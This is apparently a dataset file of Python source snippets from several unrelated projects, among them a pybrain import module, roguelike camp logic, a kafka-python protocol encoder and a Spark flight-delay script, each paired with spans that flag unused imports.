"metadata": "root.common_design_update", "header": "['module', '___EOS___']", "index": 210 } ]

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[]

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[ { "content": "# try importing the external dependencies\ntry:\n from matplotlib.mlab import rk4\nexcept ImportError:\n raise ImportError('This environment needs the matplotlib library installed.')\n\nfrom pybrain.rl.environments.cartpole.cartpole import CartPoleEnvironment, CartPoleLinEnvironment\nfrom pybrain.rl.environments.cartpole.renderer import CartPoleRenderer\nfrom pybrain.rl.environments.cartpole.balancetask import BalanceTask, EasyBalanceTask, DiscreteBalanceTask, DiscreteNoHelpTask, JustBalanceTask, LinearizedBalanceTask, DiscretePOMDPTask\nfrom pybrain.rl.environments.cartpole.doublepole import DoublePoleEnvironment\nfrom pybrain.rl.environments.cartpole.nonmarkovpole import NonMarkovPoleEnvironment\nfrom pybrain.rl.environments.cartpole.nonmarkovdoublepole import NonMarkovDoublePoleEnvironment", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

[ { "span": "from matplotlib.mlab import rk4", "start_line": 2, "start_column": 4, "end_line": 2, "end_column": 35 }, { "span": "from pybrain.rl.environments.cartpole.cartpole import CartPoleEnvironment, CartPoleLinEnvironment", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 97 }, { "span": "from pybrain.rl.environments.cartpole.renderer import CartPoleRenderer", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 70 }, { "span": "from pybrain.rl.environments.cartpole.balancetask import BalanceTask, EasyBalanceTask, DiscreteBalanceTask, DiscreteNoHelpTask, JustBalanceTask, LinearizedBalanceTask, DiscretePOMDPTask", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 185 }, { "span": "from pybrain.rl.environments.cartpole.doublepole import DoublePoleEnvironment", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 77 }, { "span": "from pybrain.rl.environments.cartpole.nonmarkovpole import NonMarkovPoleEnvironment", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 83 }, { "span": "from pybrain.rl.environments.cartpole.nonmarkovdoublepole import NonMarkovDoublePoleEnvironment", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 95 } ]

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[ { "content": "from globals import *\n\nimport life as lfe\n\nimport references\nimport judgement\nimport language\nimport survival\nimport movement\nimport numbers\nimport speech\nimport chunks\nimport groups\nimport brain\nimport stats\nimport jobs\n\nimport logging\nimport random\n\n\n\n\n\n\n#def find_nearest_unfounded_camp(life):\n#\t_founded_camps = [CAMPS[camp]['reference'] for camp in CAMPS]\n#\t_nearest_building = references.find_nearest_building(life, ignore_array=_founded_camps)\n#\t\n#\treturn _nearest_building['reference']\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#def get_camp_jobs(camp_id):\n#\t_jobs = []\n#\tcamp = CAMPS[camp_id]\n#\t\n#\t_j = jobs.create_job(LIFE[camp['founder']], 'guard camp', description='Guard the camp.')\n#\tjobs.add_detail_to_job(_j, 'camp', camp_id)\n#\tjobs.add_detail_to_job(_j, 'pause', 90)\n#\tjobs.add_job_task(_j, 'guard', callback=guard_camp, required=True)\n#\t_jobs.append(_j)\n#\t\n#\t#_j = jobs.create_job(LIFE[camp['founder']], 'scout', description='Scout the area.')\n#\t#jobs.add_detail_to_job(_j, 'camp', camp_id)\n#\t#jobs.add_job_task(_j, 'explore', callback=survival._job_explore_unknown_chunks, required=True)\n#\t#_jobs.append(_j)\n#\t\n#\treturn _jobs\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def get_camp(camp_id):\n\tif not camp_id in WORLD_INFO['camps']:\n\t\traise Exception('Camp with ID \\'%s\\' does not exist.' % camp_id)\n\t\n\treturn WORLD_INFO['camps'][camp_id]", "metadata": "root.get_camp", "header": "['module', '___EOS___']", "index": 20 }, { "content": "def get_flag(life, camp_id, flag):\n\tif flag in life['known_camps'][camp_id]['flags']:\n\t\treturn life['known_camps'][camp_id]['flags'][flag]\n\t\n\treturn None", "metadata": "root.get_flag", "header": "['module', '___EOS___']", "index": 26 }, { "content": "def flag(life, camp_id, flag, value):\n\tif not camp_id in life['known_camps']:\n\t\traise Exception('%s does not know camp \\'%s\\'.' % (' '.join(life['name'])), value)\n\t\n\tlife['known_camps'][camp_id]['flags'][flag] = value\n\t\n\tlogging.debug('%s flagged camp \\'%s\\' with %s.' % (' '.join(life['name']), camp_id, flag))", "metadata": "root.flag", "header": "['module', '___EOS___']", "index": 32 }, { "content": "def create_all_camps():\n\tfor camp_key in WORLD_INFO['reference_map']['buildings']:\n\t\t_camp_id = str(WORLD_INFO['campid'])\n\t\t_camp_reference = WORLD_INFO['references'][camp_key]\n\t\t\n\t\tfor chunk_key in _camp_reference:\n\t\t\tchunks.flag_global(chunk_key, 'camp', _camp_id)\n\t\t\t\n\t\tWORLD_INFO['camps'][_camp_id] = {'id': _camp_id,\n\t\t 'reference': _camp_reference,\n\t\t 'groups': {}}\n\t\tWORLD_INFO['campid'] += 1", "metadata": "root.create_all_camps", "header": "['module', '___EOS___']", "index": 40 }, { "content": "def discover_camp(life, camp_id):\n\t_camp = {'id': camp_id,\n\t 'snapshot': {'time': -1, 'life': []}}\n\t\n\tlife['known_camps'][camp_id] = _camp", "metadata": "root.discover_camp", "header": "['module', '___EOS___']", "index": 53 }, { "content": "def _get_nearest_known_camp(life):\n\t_nearest_camp = {'camp': None, 'score': -1}\n\t\n\tfor camp in [life['known_camps'][i] for i in life['known_camps']]:\n\t\t_key = references.find_nearest_key_in_reference(life, get_camp(camp['id'])['reference'])\n\t\t_center = [int(val)+(WORLD_INFO['chunk_size']/2) for val in _key.split(',')]\n\t\t\n\t\t_distance = numbers.distance(life['pos'], _center)\n\t\t\n\t\tif not _nearest_camp['camp'] or _distance>_nearest_camp['score']:\n\t\t\t_nearest_camp['camp'] = camp\n\t\t\t_nearest_camp['score'] = _distance\n\t\n\treturn _nearest_camp", "metadata": "root._get_nearest_known_camp", "header": "['module', '___EOS___']", "index": 65 }, { "content": "def get_nearest_known_camp(life):\n\treturn _get_nearest_known_camp(life)['camp']", "metadata": "root.get_nearest_known_camp", "header": "['module', '___EOS___']", "index": 80 }, { "content": "def get_distance_to_nearest_known_camp(life):\n\treturn _get_nearest_known_camp(life)['score']", "metadata": "root.get_distance_to_nearest_known_camp", "header": "['module', '___EOS___']", "index": 83 }, { "content": "def get_camp_via_reference(reference):\n\tfor camp in CAMPS.values():\n\t\tif camp['reference'] == reference:\n\t\t\treturn camp['id']\n\t\n\treturn None", "metadata": "root.get_camp_via_reference", "header": "['module', '___EOS___']", "index": 86 }, { "content": "def get_controlling_groups(camp_id):\n\t_groups = {}\n\t\n\tfor life in [LIFE[l] for l in get_all_alife_in_camp(camp_id)]:\n\t\tif not life['group']:\n\t\t\tcontinue\n\t\t\n\t\tif life['group'] in _groups:\n\t\t\t_groups[life['group']]['score'] += 1\n\t\telse:\n\t\t\t_groups[life['group']] = {'score': 1, 'id': life['group']}\n\t\n\treturn _groups", "metadata": "root.get_controlling_groups", "header": "['module', '___EOS___']", "index": 93 }, { "content": "def get_controlling_group_global(camp_id):\n\t_groups = get_controlling_groups(camp_id)\n\t_groups_controlling = [_grp['id'] for _grp in _groups.values() if _grp['score'] == max([_grp['score'] for _grp in _groups.values()])]\n\tif _groups_controlling:\n\t\treturn _groups_controlling[0]\n\t\n\treturn None", "metadata": "root.get_controlling_group_global", "header": "['module', '___EOS___']", "index": 107 }, { "content": "def get_controlling_group_according_to(life, camp_id):\n\t_best_group = {'group': None, 'score': 0}\n\t_camp = life['known_camps'][camp_id]\n\t\n\tfor group in _camp['snapshot']['groups']:\n\t\tif not _best_group['group'] or _camp['snapshot']['groups'][group] > _best_group['score']:\n\t\t\t_best_group['group'] = group\n\t\t\t_best_group['score'] = _best_group['score']\n\t\n\treturn _best_group['group']\t\t", "metadata": "root.get_controlling_group_according_to", "header": "['module', '___EOS___']", "index": 115 }, { "content": "def get_all_alife_in_camp(camp_id):\n\treturn [life['id'] for life in LIFE.values() if is_in_camp(life, WORLD_INFO['camps'][camp_id])]", "metadata": "root.get_all_alife_in_camp", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def is_in_camp(life, camp):\n\treturn references.life_is_in_reference(life, camp['reference'])", "metadata": "root.is_in_camp", "header": "['module', '___EOS___']", "index": 129 }, { "content": "def is_in_any_camp(position):\n\tfor camp in WORLD_INFO['camps'].values():\n\t\tif references.is_in_reference(position, camp['reference']):\n\t\t\treturn camp['id']\n\t\n\treturn False", "metadata": "root.is_in_any_camp", "header": "['module', '___EOS___']", "index": 132 }, { "content": "def position_is_in_camp(position, camp_id):\n\treturn references.is_in_reference(position, get_camp(camp_id)['reference'])", "metadata": "root.position_is_in_camp", "header": "['module', '___EOS___']", "index": 139 }, { "content": "def get_nearest_position_in_camp(life, camp):\n\t_camp = WORLD_INFO['camps'][camp]\n\t_key = references.find_nearest_key_in_reference_exact(life['pos'], _camp['reference'])\n\t\n\treturn chunks.get_nearest_position_in_chunk(life['pos'], _key)", "metadata": "root.get_nearest_position_in_camp", "header": "['module', '___EOS___']", "index": 142 }, { "content": "def guard_camp(life):\n\t_delay = random.randint(25, jobs.get_job_detail(life['job'], 'pause'))\n\t\n\tif not life['path'] and not lfe.find_action(life, matches=[{'action': 'move'}]):\n\t\t_chunk = WORLD_INFO['chunk_map'][references.find_least_populated_key_in_reference(life, CAMPS[life['camp']]['reference'])]\n\t\tlfe.add_action(life,{'action': 'move',\n\t\t\t'to': random.choice(_chunk['ground'])},\n\t\t\t200,\n\t\t\tdelay=_delay)\n\t\n\treturn False", "metadata": "root.guard_camp", "header": "['module', '___EOS___']", "index": 148 }, { "content": "def debug_camps():\n\tfor camp_id in WORLD_INFO['camps']:\n\t\t_group = get_controlling_group_global(camp_id)\n\t\tif not _group:\n\t\t\tcontinue\n\t\t\n\t\tprint camp_id, 'is controlled by', _group\n\t\t_actual_group = groups.get_group(life, _group)\n\t\tprint '\\t%s member(s)' % len(_actual_group['members'])", "metadata": "root.debug_camps", "header": "['module', '___EOS___']", "index": 160 } ]

[ { "span": "import judgement", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 16 }, { "span": "import language", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 15 }, { "span": "import survival", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 15 }, { "span": "import movement", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 15 }, { "span": "import speech", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 13 }, { "span": "import brain", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 12 }, { "span": "import stats", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 12 } ]

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[ { "content": "from __future__ import absolute_import\n\nimport logging\nimport struct\n\nimport six\n\nfrom six.moves import xrange\n\nimport kafka.protocol.commit\nimport kafka.protocol.fetch\nimport kafka.protocol.message\nimport kafka.protocol.metadata\nimport kafka.protocol.offset\nimport kafka.protocol.produce\nimport kafka.structs\n\nfrom kafka.codec import (\n gzip_encode, gzip_decode, snappy_encode, snappy_decode)\nfrom kafka.errors import ProtocolError, ChecksumError, UnsupportedCodecError\nfrom kafka.structs import ConsumerMetadataResponse\nfrom kafka.util import (\n crc32, read_short_string, read_int_string, relative_unpack,\n write_short_string, write_int_string, group_by_topic_and_partition)\n\n\nlog = logging.getLogger(__name__)\n\nATTRIBUTE_CODEC_MASK = 0x03\nCODEC_NONE = 0x00\nCODEC_GZIP = 0x01\nCODEC_SNAPPY = 0x02\nALL_CODECS = (CODEC_NONE, CODEC_GZIP, CODEC_SNAPPY)\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class KafkaProtocol(object):\n \"\"\"\n Class to encapsulate all of the protocol encoding/decoding.\n This class does not have any state associated with it, it is purely\n for organization.\n \"\"\"\n PRODUCE_KEY = 0\n FETCH_KEY = 1\n OFFSET_KEY = 2\n METADATA_KEY = 3\n OFFSET_COMMIT_KEY = 8\n OFFSET_FETCH_KEY = 9\n CONSUMER_METADATA_KEY = 10\n\n ###################\n # Private API #\n ###################\n\n\n\n\n ##################\n # Public API #\n ##################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.KafkaProtocol", "header": "['module', '___EOS___']", "index": 35 }, { "content": " @classmethod\n def _encode_message_header(cls, client_id, correlation_id, request_key,\n version=0):\n \"\"\"\n Encode the common request envelope\n \"\"\"\n return struct.pack('>hhih%ds' % len(client_id),\n request_key, # ApiKey\n version, # ApiVersion\n correlation_id, # CorrelationId\n len(client_id), # ClientId size\n client_id) # ClientId", "metadata": "root.KafkaProtocol._encode_message_header", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": " @classmethod\n def _encode_message_set(cls, messages):\n \"\"\"\n Encode a MessageSet. Unlike other arrays in the protocol,\n MessageSets are not length-prefixed\n\n Format\n ======\n MessageSet => [Offset MessageSize Message]\n Offset => int64\n MessageSize => int32\n \"\"\"\n message_set = []\n for message in messages:\n encoded_message = KafkaProtocol._encode_message(message)\n message_set.append(struct.pack('>qi%ds' % len(encoded_message), 0,\n len(encoded_message),\n encoded_message))\n return b''.join(message_set)", "metadata": "root.KafkaProtocol._encode_message_set", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 66 }, { "content": " @classmethod\n def _encode_message(cls, message):\n \"\"\"\n Encode a single message.\n\n The magic number of a message is a format version number.\n The only supported magic number right now is zero\n\n Format\n ======\n Message => Crc MagicByte Attributes Key Value\n Crc => int32\n MagicByte => int8\n Attributes => int8\n Key => bytes\n Value => bytes\n \"\"\"\n if message.magic == 0:\n msg = b''.join([\n struct.pack('>BB', message.magic, message.attributes),\n write_int_string(message.key),\n write_int_string(message.value)\n ])\n crc = crc32(msg)\n msg = struct.pack('>i%ds' % len(msg), crc, msg)\n else:\n raise ProtocolError(\"Unexpected magic number: %d\" % message.magic)\n return msg", "metadata": "root.KafkaProtocol._encode_message", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 86 }, { "content": " @classmethod\n def encode_produce_request(cls, payloads=(), acks=1, timeout=1000):\n \"\"\"\n Encode a ProduceRequest struct\n\n Arguments:\n payloads: list of ProduceRequestPayload\n acks: How \"acky\" you want the request to be\n 1: written to disk by the leader\n 0: immediate response\n -1: waits for all replicas to be in sync\n timeout: Maximum time (in ms) the server will wait for replica acks.\n This is _not_ a socket timeout\n\n Returns: ProduceRequest\n \"\"\"\n if acks not in (1, 0, -1):\n raise ValueError('ProduceRequest acks (%s) must be 1, 0, -1' % acks)\n\n return kafka.protocol.produce.ProduceRequest[0](\n required_acks=acks,\n timeout=timeout,\n topics=[(\n topic,\n [(\n partition,\n [(0, 0, kafka.protocol.message.Message(msg.value, key=msg.key,\n magic=msg.magic,\n attributes=msg.attributes))\n for msg in payload.messages])\n for partition, payload in topic_payloads.items()])\n for topic, topic_payloads in group_by_topic_and_partition(payloads).items()])", "metadata": "root.KafkaProtocol.encode_produce_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 119 }, { "content": " @classmethod\n def decode_produce_response(cls, response):\n \"\"\"\n Decode ProduceResponse to ProduceResponsePayload\n\n Arguments:\n response: ProduceResponse\n\n Return: list of ProduceResponsePayload\n \"\"\"\n return [\n kafka.structs.ProduceResponsePayload(topic, partition, error, offset)\n for topic, partitions in response.topics\n for partition, error, offset in partitions\n ]", "metadata": "root.KafkaProtocol.decode_produce_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 152 }, { "content": " @classmethod\n def encode_fetch_request(cls, payloads=(), max_wait_time=100, min_bytes=4096):\n \"\"\"\n Encodes a FetchRequest struct\n\n Arguments:\n payloads: list of FetchRequestPayload\n max_wait_time (int, optional): ms to block waiting for min_bytes\n data. Defaults to 100.\n min_bytes (int, optional): minimum bytes required to return before\n max_wait_time. Defaults to 4096.\n\n Return: FetchRequest\n \"\"\"\n return kafka.protocol.fetch.FetchRequest[0](\n replica_id=-1,\n max_wait_time=max_wait_time,\n min_bytes=min_bytes,\n topics=[(\n topic,\n [(\n partition,\n payload.offset,\n payload.max_bytes)\n for partition, payload in topic_payloads.items()])\n for topic, topic_payloads in group_by_topic_and_partition(payloads).items()])", "metadata": "root.KafkaProtocol.encode_fetch_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 168 }, { "content": " @classmethod\n def decode_fetch_response(cls, response):\n \"\"\"\n Decode FetchResponse struct to FetchResponsePayloads\n\n Arguments:\n response: FetchResponse\n \"\"\"\n return [\n kafka.structs.FetchResponsePayload(\n topic, partition, error, highwater_offset, [\n kafka.structs.OffsetAndMessage(offset, message)\n for offset, _, message in messages])\n for topic, partitions in response.topics\n for partition, error, highwater_offset, messages in partitions\n ]", "metadata": "root.KafkaProtocol.decode_fetch_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 195 }, { "content": " @classmethod\n def encode_offset_request(cls, payloads=()):\n return kafka.protocol.offset.OffsetRequest[0](\n replica_id=-1,\n topics=[(\n topic,\n [(\n partition,\n payload.time,\n payload.max_offsets)\n for partition, payload in six.iteritems(topic_payloads)])\n for topic, topic_payloads in six.iteritems(group_by_topic_and_partition(payloads))])", "metadata": "root.KafkaProtocol.encode_offset_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 212 }, { "content": " @classmethod\n def decode_offset_response(cls, response):\n \"\"\"\n Decode OffsetResponse into OffsetResponsePayloads\n\n Arguments:\n response: OffsetResponse\n\n Returns: list of OffsetResponsePayloads\n \"\"\"\n return [\n kafka.structs.OffsetResponsePayload(topic, partition, error, tuple(offsets))\n for topic, partitions in response.topics\n for partition, error, offsets in partitions\n ]", "metadata": "root.KafkaProtocol.decode_offset_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 225 }, { "content": " @classmethod\n def encode_metadata_request(cls, topics=(), payloads=None):\n \"\"\"\n Encode a MetadataRequest\n\n Arguments:\n topics: list of strings\n \"\"\"\n if payloads is not None:\n topics = payloads\n\n return kafka.protocol.metadata.MetadataRequest[0](topics)", "metadata": "root.KafkaProtocol.encode_metadata_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 241 }, { "content": " @classmethod\n def decode_metadata_response(cls, response):\n return response", "metadata": "root.KafkaProtocol.decode_metadata_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 254 }, { "content": " @classmethod\n def encode_consumer_metadata_request(cls, client_id, correlation_id, payloads):\n \"\"\"\n Encode a ConsumerMetadataRequest\n\n Arguments:\n client_id: string\n correlation_id: int\n payloads: string (consumer group)\n \"\"\"\n message = []\n message.append(cls._encode_message_header(client_id, correlation_id,\n KafkaProtocol.CONSUMER_METADATA_KEY))\n message.append(struct.pack('>h%ds' % len(payloads), len(payloads), payloads))\n\n msg = b''.join(message)\n return write_int_string(msg)", "metadata": "root.KafkaProtocol.encode_consumer_metadata_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 258 }, { "content": " @classmethod\n def decode_consumer_metadata_response(cls, data):\n \"\"\"\n Decode bytes to a ConsumerMetadataResponse\n\n Arguments:\n data: bytes to decode\n \"\"\"\n ((correlation_id, error, nodeId), cur) = relative_unpack('>ihi', data, 0)\n (host, cur) = read_short_string(data, cur)\n ((port,), cur) = relative_unpack('>i', data, cur)\n\n return ConsumerMetadataResponse(error, nodeId, host, port)", "metadata": "root.KafkaProtocol.decode_consumer_metadata_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 276 }, { "content": " @classmethod\n def encode_offset_commit_request(cls, group, payloads):\n \"\"\"\n Encode an OffsetCommitRequest struct\n\n Arguments:\n group: string, the consumer group you are committing offsets for\n payloads: list of OffsetCommitRequestPayload\n \"\"\"\n return kafka.protocol.commit.OffsetCommitRequest[0](\n consumer_group=group,\n topics=[(\n topic,\n [(\n partition,\n payload.offset,\n payload.metadata)\n for partition, payload in six.iteritems(topic_payloads)])\n for topic, topic_payloads in six.iteritems(group_by_topic_and_partition(payloads))])", "metadata": "root.KafkaProtocol.encode_offset_commit_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 290 }, { "content": " @classmethod\n def decode_offset_commit_response(cls, response):\n \"\"\"\n Decode OffsetCommitResponse to an OffsetCommitResponsePayload\n\n Arguments:\n response: OffsetCommitResponse\n \"\"\"\n return [\n kafka.structs.OffsetCommitResponsePayload(topic, partition, error)\n for topic, partitions in response.topics\n for partition, error in partitions\n ]", "metadata": "root.KafkaProtocol.decode_offset_commit_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 311 }, { "content": " @classmethod\n def encode_offset_fetch_request(cls, group, payloads, from_kafka=False):\n \"\"\"\n Encode an OffsetFetchRequest struct. The request is encoded using\n version 0 if from_kafka is false, indicating a request for Zookeeper\n offsets. It is encoded using version 1 otherwise, indicating a request\n for Kafka offsets.\n\n Arguments:\n group: string, the consumer group you are fetching offsets for\n payloads: list of OffsetFetchRequestPayload\n from_kafka: bool, default False, set True for Kafka-committed offsets\n \"\"\"\n version = 1 if from_kafka else 0\n return kafka.protocol.commit.OffsetFetchRequest[version](\n consumer_group=group,\n topics=[(\n topic,\n list(topic_payloads.keys()))\n for topic, topic_payloads in six.iteritems(group_by_topic_and_partition(payloads))])", "metadata": "root.KafkaProtocol.encode_offset_fetch_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 325 }, { "content": " @classmethod\n def decode_offset_fetch_response(cls, response):\n \"\"\"\n Decode OffsetFetchResponse to OffsetFetchResponsePayloads\n\n Arguments:\n response: OffsetFetchResponse\n \"\"\"\n return [\n kafka.structs.OffsetFetchResponsePayload(\n topic, partition, offset, metadata, error\n )\n for topic, partitions in response.topics\n for partition, offset, metadata, error in partitions\n ]", "metadata": "root.KafkaProtocol.decode_offset_fetch_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 346 }, { "content": "def create_message(payload, key=None):\n \"\"\"\n Construct a Message\n\n Arguments:\n payload: bytes, the payload to send to Kafka\n key: bytes, a key used for partition routing (optional)\n\n \"\"\"\n return kafka.structs.Message(0, 0, key, payload)", "metadata": "root.create_message", "header": "['module', '___EOS___']", "index": 363 }, { "content": "def create_gzip_message(payloads, key=None, compresslevel=None):\n \"\"\"\n Construct a Gzipped Message containing multiple Messages\n\n The given payloads will be encoded, compressed, and sent as a single atomic\n message to Kafka.\n\n Arguments:\n payloads: list(bytes), a list of payload to send be sent to Kafka\n key: bytes, a key used for partition routing (optional)\n\n \"\"\"\n message_set = KafkaProtocol._encode_message_set(\n [create_message(payload, pl_key) for payload, pl_key in payloads])\n\n gzipped = gzip_encode(message_set, compresslevel=compresslevel)\n codec = ATTRIBUTE_CODEC_MASK & CODEC_GZIP\n\n return kafka.structs.Message(0, 0x00 | codec, key, gzipped)", "metadata": "root.create_gzip_message", "header": "['module', '___EOS___']", "index": 375 }, { "content": "def create_snappy_message(payloads, key=None):\n \"\"\"\n Construct a Snappy Message containing multiple Messages\n\n The given payloads will be encoded, compressed, and sent as a single atomic\n message to Kafka.\n\n Arguments:\n payloads: list(bytes), a list of payload to send be sent to Kafka\n key: bytes, a key used for partition routing (optional)\n\n \"\"\"\n message_set = KafkaProtocol._encode_message_set(\n [create_message(payload, pl_key) for payload, pl_key in payloads])\n\n snapped = snappy_encode(message_set)\n codec = ATTRIBUTE_CODEC_MASK & CODEC_SNAPPY\n\n return kafka.structs.Message(0, 0x00 | codec, key, snapped)", "metadata": "root.create_snappy_message", "header": "['module', '___EOS___']", "index": 396 }, { "content": "def create_message_set(messages, codec=CODEC_NONE, key=None, compresslevel=None):\n \"\"\"Create a message set using the given codec.\n\n If codec is CODEC_NONE, return a list of raw Kafka messages. Otherwise,\n return a list containing a single codec-encoded message.\n \"\"\"\n if codec == CODEC_NONE:\n return [create_message(m, k) for m, k in messages]\n elif codec == CODEC_GZIP:\n return [create_gzip_message(messages, key, compresslevel)]\n elif codec == CODEC_SNAPPY:\n return [create_snappy_message(messages, key)]\n else:\n raise UnsupportedCodecError(\"Codec 0x%02x unsupported\" % codec)", "metadata": "root.create_message_set", "header": "['module', '___EOS___']", "index": 417 } ]

[ { "span": "from six.moves import xrange", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 28 }, { "span": "from kafka.codec import (\n gzip_encode, gzip_decode, snappy_encode, snappy_decode)", "start_line": 17, "start_column": 0, "end_line": 18, "end_column": 59 }, { "span": "from kafka.errors import ProtocolError, ChecksumError, UnsupportedCodecError", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 76 }, { "span": "from kafka.util import (\n crc32, read_short_string, read_int_string, relative_unpack,\n write_short_string, write_int_string, group_by_topic_and_partition)", "start_line": 21, "start_column": 0, "end_line": 23, "end_column": 71 } ]

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[ { "content": "#!/usr/bin/env python\n# spark-app.py\n# A Spark application that computes the summary statistics of arrival delays.\n#\n# Author: Benjamin Bengfort <benjamin@bengfort.com>\n# Created: Tue Dec 01 15:13:56 2015 -0500\n\n\"\"\"\nA Spark application that computes the summary statistics of arrival delays.\n\"\"\"\n\n##########################################################################\n## Imports\n##########################################################################\n\nimport os\nimport sys\nimport csv\nimport math\n\nfrom functools import partial\nfrom StringIO import StringIO\nfrom pyspark import SparkConf, SparkContext\n\n##########################################################################\n## Global Variables\n##########################################################################\n\nAPP_NAME = \"Summary Statistics of Arrival Delay by Airport\"\nDATASET = os.path.join(os.path.dirname(__file__), \"..\", \"data\", \"ontime\", \"flights.csv\")\n\n##########################################################################\n## Helper functions\n##########################################################################\n\n\n\n\n##########################################################################\n## Primary Analysis and Main Method\n##########################################################################\n\n\nif __name__ == '__main__':\n # Configure Spark\n conf = SparkConf().setAppName(APP_NAME)\n sc = SparkContext(conf=conf)\n\n # Execute Main functionality\n main(sc)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def counters(line):\n \"\"\"\n Splits the line on a CSV and parses it into the key and summary counters.\n A counter is as follows: (count, total, square, minimum, maximum).\n \"\"\"\n reader = csv.reader(StringIO(line), delimiter=',')\n row = reader.next()\n\n airport = row[4]\n\n try:\n delay = float(row[8])\n except ValueError:\n delay = 0.0\n\n return (airport, (1, delay, delay ** 2, delay, delay))", "metadata": "root.counters", "header": "['module', '___EOS___']", "index": 35 }, { "content": "def aggregation(item1, item2):\n \"\"\"\n For an (airport, counters) item, perform summary aggregations.\n \"\"\"\n count1, total1, squares1, min1, max1 = item1\n count2, total2, squares2, min2, max2 = item2\n\n minimum = min((min1, min2))\n maximum = max((max1, max2))\n count = count1 + count2\n total = total1 + total2\n squares = squares1 + squares2\n\n return (count, total, squares, minimum, maximum)", "metadata": "root.aggregation", "header": "['module', '___EOS___']", "index": 52 }, { "content": "def summary(aggregate):\n \"\"\"\n Compute summary statistics from aggregation.\n \"\"\"\n (airport, (count, total, square, minimum, maximum)) = aggregate\n\n try:\n mean = total / float(count)\n stddev = math.sqrt((square-(total**2)/count)/count-1)\n\n return (airport, (count, mean, stddev, minimum, maximum))\n except Exception:\n return (airport, (count, None, None, minimum, maximum))", "metadata": "root.summary", "header": "['module', '___EOS___']", "index": 67 }, { "content": "def main(sc):\n \"\"\"\n Primary analysis mechanism for Spark application\n \"\"\"\n\n # Load data set and parse out statistical counters\n delays = sc.textFile(DATASET).map(counters)\n\n # Perform summary aggregation by key\n delays = delays.reduceByKey(aggregation)\n delays = delays.map(summary)\n\n # Write the results out to disk\n delays.saveAsTextFile(\"delays-summary\")", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 85 } ]

[ { "span": "import sys", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 10 }, { "span": "from functools import partial", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 29 } ]

[]

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[ { "span": "from thrift.Thrift import TType, TMessageType, TException, TApplicationException", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 80 } ]

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[ { "content": " def assertCloseAbs(self, x, y, eps=1e-9):\n \"\"\"Return true iff floats x and y \"are close\\\"\"\"\"\n # put the one with larger magnitude second\n if abs(x) > abs(y):\n x, y = y, x\n if y == 0:\n return abs(x) < eps\n if x == 0:\n return abs(y) < eps\n # check that relative difference < eps\n self.assertTrue(abs((x-y)/y) < eps)", "metadata": "root.ComplexTest.assertCloseAbs", "header": "['class', 'ComplexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 27 }, { "content": " def test_no_implicit_coerce(self):\n # Python 2.7 removed implicit coercion from the complex type\n class A(object):\n def __coerce__(self, other):\n raise RuntimeError\n __hash__ = None\n def __cmp__(self, other):\n return -1\n\n a = A()\n self.assertRaises(TypeError, lambda: a + 2.0j)\n self.assertTrue(a < 2.0j)", "metadata": "root.ComplexTest.test_no_implicit_coerce", "header": "['class', 'ComplexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 117 }, { "content": " def test_constructor(self):\n class OS:\n def __init__(self, value): self.value = value\n def __complex__(self): return self.value\n class NS(object):\n def __init__(self, value): self.value = value\n def __complex__(self): return self.value\n self.assertEqual(complex(OS(1+10j)), 1+10j)\n self.assertEqual(complex(NS(1+10j)), 1+10j)\n self.assertRaises(TypeError, complex, OS(None))\n self.assertRaises(TypeError, complex, NS(None))\n\n self.assertAlmostEqual(complex(\"1+10j\"), 1+10j)\n self.assertAlmostEqual(complex(10), 10+0j)\n self.assertAlmostEqual(complex(10.0), 10+0j)\n self.assertAlmostEqual(complex(10L), 10+0j)\n 